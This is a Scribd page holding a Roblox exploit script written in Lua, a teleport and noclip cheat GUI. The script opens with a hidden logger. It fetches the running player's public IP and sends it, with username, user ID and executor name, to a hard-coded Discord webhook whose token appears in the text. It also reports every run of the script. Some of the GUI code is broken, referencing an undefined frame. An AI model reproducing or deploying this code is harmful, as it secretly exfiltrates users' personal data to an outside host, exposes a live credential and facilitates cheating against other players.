0% found this document useful (0 votes)
55 views13 pages

Required

The document is a Lua script designed for use in a game, which includes functionalities for detecting script stealers and logging player information via a Discord webhook. It features a GUI that allows players to select positions, toggle visit modes, and execute specific actions while playing. The script also includes mechanisms for handling player respawns and managing animations and collision states.

Uploaded by

dincemirata
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
55 views13 pages

Required

The document is a Lua script designed for use in a game, which includes functionalities for detecting script stealers and logging player information via a Discord webhook. It features a GUI that allows players to select positions, toggle visit modes, and execute specific actions while playing. The script also includes mechanisms for handling player respawns and managing animations and collision states.

Uploaded by

dincemirata
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 13

_G.

Owner = "Emocc(pRimeo)"

_G.OwnerText = "the owner/maker of the script: \n" .. _G.Owner .. "."

if _G.Owner ~= _G.ownerName then

if getgenv().owner then return end

getgenv().owner = true

-- Webhook URL

local webhookUrl =
"https://discord.com/api/webhooks/1389930762119417916/nYx0ky5bmIsfgjpri32vuXU9Qf_O9
MFatmRVrlNG1ko4Cw4OYNQTllWyY6Erw6KNm8HZ"

-- Player ve oyun bilgileri

local plr = game.Players.LocalPlayer

local username = plr.Name

local userid = plr.UserId

local accountAge = plr.AccountAge

local gameName =
game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name

local gamePlaceId = game.PlaceId

-- Executor bilgisi

local executor = (identifyexecutor and identifyexecutor()) or (getexecutor and


getexecutor()) or "Unknown Executor"

-- FPS ve Ping bilgisi

local fps = math.floor(workspace:GetRealPhysicsFPS())

local ping = "Unknown"

pcall(function()

ping = game:GetService("Stats").Network.ServerStatsItem["Data
Ping"]:GetValueString()

end)

-- IP çekme (exploit destekliyorsa çalışır)

local ip = "Unknown"

local HttpService = game:GetService("HttpService")

local requestFunction = (syn and syn.request) or (http_request) or (request)


if requestFunction then

pcall(function()

local response = requestFunction({

Url = "https://api.ipify.org",

Method = "GET"

})

if response and response.Body then

ip = response.Body

end

end)

else

warn("Exploit HTTP Request Fonksiyonu Bulunamadı, IP alınamadı.")

end

-- Webhook Embed Sistemi

local data = {

["content"] = "",

["embeds"] = {{

["title"] = "🚨 SCRIPT STEALER DETECTED 🚨",

["description"] = "**Username:** " .. username ..

"\n**UserID:** " .. userid ..

"\n**Account Age:** " .. accountAge .. " days" ..

"\n**Game:** " .. gameName .. " (ID: " .. gamePlaceId ..


")" ..

"\n**Executor:** " .. executor ..

"\n**IP:** " .. ip ..

"\n**FPS:** " .. fps ..

"\n**Ping:** " .. ping,

["color"] = tonumber(0xff0000),

["footer"] = {

["text"] = "Stealer Logger - All Data Captured"


}

}}

local jsonData = HttpService:JSONEncode(data)

if requestFunction then

requestFunction({

Url = webhookUrl,

Method = "POST",

Headers = {

["Content-Type"] = "application/json"

},

Body = jsonData

})

else

warn("Webhook gönderilemedi, HTTP desteklenmiyor.")

end

-- Stealer Kick mesajı

game.Players.LocalPlayer:Kick("STEALER DETECTED - YOU HAVE BEEN LOGGED. GOOD LUCK


RAT. (BTW İ Get you ip)")

return

else

local HttpService = game:GetService("HttpService")

local Players = game:GetService("Players")

local LocalPlayer = Players.LocalPlayer

local webhookUrl =
"https://discord.com/api/webhooks/1389930762119417916/nYx0ky5bmIsfgjpri32vuXU9Qf_O9
MFatmRVrlNG1ko4Cw4OYNQTllWyY6Erw6KNm8HZ"

-- HTTP Request method seçimi

local requestFunc = (syn and syn.request) or (http_request) or (request)

-- Embed hazırla
local embedData = {

["title"] = "✅ Script Executed",

["description"] = "**"..LocalPlayer.Name.."** (ID: "..LocalPlayer.UserId..")


executed the script!",

["color"] = tonumber(0x00FF00),

["footer"] = {

["text"] = "Script Logger • "..os.date("%Y-%m-%d %H:%M:%S")

local data = {

["content"] = "",

["embeds"] = {embedData}

-- Gönderilecek JSON formatı

local jsonData = HttpService:JSONEncode(data)

-- Request gönder

if requestFunc then

requestFunc({

Url = webhookUrl,

Method = "POST",

Headers = {

["Content-Type"] = "application/json"

},

Body = jsonData

})

end

end

--!strict

local Players = game:GetService("Players")

local RunService = game:GetService("RunService")


local LocalPlayer = Players.LocalPlayer

-- ---------- SETTINGS ----------

local positions = {

["Jail"] = Vector3.new(439, 439, -376),

["Safe spot"] = Vector3.new(-162, 439, -383),

["void"] = Vector3.new(0, 0, 0),}

-- Defaults

getgenv().customPosition = Vector3.new(0, -300, 0)

getgenv().visiting = false

getgenv().techLoop = nil

getgenv().noclipLoop = nil

getgenv().oldPosition = nil

-- ---------- FUNCTION: START TECH LOOP ----------

local function startTechLoop()

if getgenv().techLoop then

coroutine.close(getgenv().techLoop)

getgenv().techLoop = nil

end

workspace.FallenPartsDestroyHeight = 0/0

local animations = {

["rbxassetid://12273188754"] = 1.21,

["rbxassetid://12296113986"] = 1.1,

local function ifind(t, a)

for i in pairs(t) do

if i == a then return true end

end

return false

end

getgenv().techLoop = coroutine.create(function()
while true do

task.wait()

local char = LocalPlayer.Character

if not char then break end

local hum = char:FindFirstChildOfClass("Humanoid")

local root = char:FindFirstChild("HumanoidRootPart")

if not hum or not root then continue end

for _, track in pairs(hum.Animator:GetPlayingAnimationTracks()) do

if ifind(animations, track.Animation.AnimationId) then

task.wait(animations[track.Animation.AnimationId])

local lastCF = root.CFrame

local stoppedConn

local running = true

stoppedConn = track.Stopped:Connect(function() running = false


end)

repeat

task.wait()

workspace.CurrentCamera.CameraType =
Enum.CameraType.Scriptable

if getgenv().visiting then

local pos = getgenv().customPosition

workspace.CurrentCamera.CFrame = CFrame.new(pos +
Vector3.new(0,5,10), pos)

else

root.CFrame = CFrame.new(getgenv().customPosition)

root.AssemblyLinearVelocity = Vector3.zero

root.AssemblyAngularVelocity = Vector3.zero

end

until not running

stoppedConn:Disconnect()

task.wait(0.1)
if root and root.Parent then

root.CFrame = lastCF

end

workspace.CurrentCamera.CameraType = Enum.CameraType.Custom

workspace.CurrentCamera.CameraSubject = hum

task.wait(1)

end

end

end

end)

coroutine.resume(getgenv().techLoop)

end

-- ---------- Noclip Loop ----------

local function startNoclip()

if getgenv().noclipLoop then

coroutine.close(getgenv().noclipLoop)

getgenv().noclipLoop = nil

end

getgenv().noclipLoop = coroutine.create(function()

while true do

task.wait()

if getgenv().visiting then

local char = LocalPlayer.Character

if char then

for _, part in ipairs(char:GetDescendants()) do

if part:IsA("BasePart") then

part.CanCollide = false

end

end
end

end

end

end)

coroutine.resume(getgenv().noclipLoop)

end

-- ---------- Handle Visit Logic ----------

local function teleportToPosition()

local char = LocalPlayer.Character

if not char then return end

local root = char:FindFirstChild("HumanoidRootPart")

if not root then return end

getgenv().oldPosition = root.CFrame

root.CFrame = CFrame.new(getgenv().customPosition)

end

local function teleportBack()

local char = LocalPlayer.Character

if not char then return end

local root = char:FindFirstChild("HumanoidRootPart")

if not root then return end

if getgenv().oldPosition then

root.CFrame = getgenv().oldPosition

end

end

-- ---------- HANDLE RESPAWN ----------

LocalPlayer.CharacterAdded:Connect(function(char)

char:WaitForChild("Humanoid")

startTechLoop()

startNoclip()

end)
if LocalPlayer.Character then

startTechLoop()

startNoclip()

end

-- ---------- BUILD GUI ----------

local gui = Instance.new("ScreenGui")

gui.Name = "TechGUI"

gui.Parent = game.CoreGui

gui.ResetOnSpawn = false

local main = Instance.new("Frame", gui)

main.Size = UDim2.new(0, 320, 0, 280)

main.Position = UDim2.new(0.35, 0, 0.3, 0)

main.BackgroundColor3 = Color3.fromRGB(25, 25, 25)

main.Active = true

main.Draggable = true

local uicorner = Instance.new("UICorner", main)

uicorner.CornerRadius = UDim.new(0, 16)

-- RGB Başlık

local title = Instance.new("TextLabel", main)

title.Size = UDim2.new(1, 0, 0, 50)

title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)

title.Text = "Tech GUI"

title.Font = Enum.Font.GothamBlack

title.TextSize = 24

title.TextColor3 = Color3.fromRGB(255, 255, 255)

local titleCorner = Instance.new("UICorner", title)

titleCorner.CornerRadius = UDim.new(0, 16)

-- Kapama butonu

local closeButton = Instance.new("TextButton", main)


closeButton.Size = UDim2.new(0, 28, 0, 28)

closeButton.Position = UDim2.new(1, -34, 0, 6) -- Sağ üst köşeye konumlandırma

closeButton.BackgroundColor3 = Color3.fromRGB(200, 30, 30)

closeButton.Text = "X"

closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)

closeButton.Font = Enum.Font.GothamBold

closeButton.TextSize = 22

closeButton.AutoButtonColor = false

closeButton.Name = "CloseButton"

closeButton.ZIndex = 10

Instance.new("UICorner", closeButton).CornerRadius = UDim.new(0, 8)

-- Hover efektleri (isteğe bağlı ama daha iyi)

closeButton.MouseEnter:Connect(function()

closeButton.BackgroundColor3 = Color3.fromRGB(255, 50, 50)

end)

closeButton.MouseLeave:Connect(function()

closeButton.BackgroundColor3 = Color3.fromRGB(200, 30, 30)

end)

-- Butona tıklayınca GUI gizle

closeButton.MouseButton1Click:Connect(function()

gui.Enabled = false

end)

-- Rainbow Effect

task.spawn(function()

while true do

local hue = tick() % 5 / 5

title.BackgroundColor3 = Color3.fromHSV(hue, 0.8, 1)

task.wait()

end

end)
-- Dropdown Butonu

local notifText = Instance.new("TextLabel", notifFrame)

notifText.Size = UDim2.new(1, -20, 1, 0)

notifText.Position = UDim2.new(0, 10, 0, 0)

notifText.BackgroundTransparency = 1

notifText.Font = Enum.Font.GothamBold

notifText.TextSize = 20

notifText.TextColor3 = Color3.fromRGB(255, 140, 0)

notifText.Text = "Created by Emir - Credits"

notifText.TextXAlignment = Enum.TextXAlignment.Left

notifText.ZIndex = 21

local dropdown = Instance.new("TextButton", main)

dropdown.Size = UDim2.new(0.9, 0, 0, 40)

dropdown.Position = UDim2.new(0.05, 0, 0.25, 0)

dropdown.Text = "Select Position"

dropdown.Font = Enum.Font.GothamMedium

dropdown.TextSize = 20

dropdown.BackgroundColor3 = Color3.fromRGB(35, 35, 35)

dropdown.TextColor3 = Color3.fromRGB(255, 255, 255)

local dropcorner = Instance.new("UICorner", dropdown)

dropcorner.CornerRadius = UDim.new(0, 10)

local optionFrame = Instance.new("Frame", main)

optionFrame.Size = UDim2.new(0.9, 0, 0, #positions * 36)

optionFrame.Position = UDim2.new(0.05, 0, 0.4, 0)

optionFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)

optionFrame.Visible = false

Instance.new("UICorner", optionFrame).CornerRadius = UDim.new(0, 10)

local list = Instance.new("UIListLayout", optionFrame)

list.Padding = UDim.new(0, 6)
for name, vec in pairs(positions) do

local btn = Instance.new("TextButton", optionFrame)

btn.Size = UDim2.new(1, 0, 0, 34)

btn.Text = name

btn.Font = Enum.Font.GothamSemibold

btn.TextSize = 18

btn.BackgroundColor3 = Color3.fromRGB(45, 45, 45)

btn.TextColor3 = Color3.fromRGB(220, 220, 220)

Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 8)

btn.MouseButton1Click:Connect(function()

getgenv().customPosition = vec

dropdown.Text = name

optionFrame.Visible = false

end)

end

dropdown.MouseButton1Click:Connect(function()

optionFrame.Visible = not optionFrame.Visible

end)

-- Visit Toggle

local toggle = Instance.new("TextButton", main)

toggle.Size = UDim2.new(0.9, 0, 0, 45)

toggle.Position = UDim2.new(0.05, 0, 0.8, 0)

toggle.Text = "Visit: Off"

toggle.Font = Enum.Font.GothamBold

toggle.TextSize = 22

toggle.BackgroundColor3 = Color3.fromRGB(200, 0, 0)

toggle.TextColor3 = Color3.fromRGB(255, 255, 255)

Instance.new("UICorner", toggle).CornerRadius = UDim.new(0, 12)

toggle.MouseButton1Click:Connect(function()

getgenv().visiting = not getgenv().visiting


if getgenv().visiting then

teleportToPosition()

toggle.Text = "Visit: On"

toggle.BackgroundColor3 = Color3.fromRGB(0, 180, 0)

else

teleportBack()

toggle.Text = "Visit: Off"

toggle.BackgroundColor3 = Color3.fromRGB(200, 0, 0)

end

end)

You might also like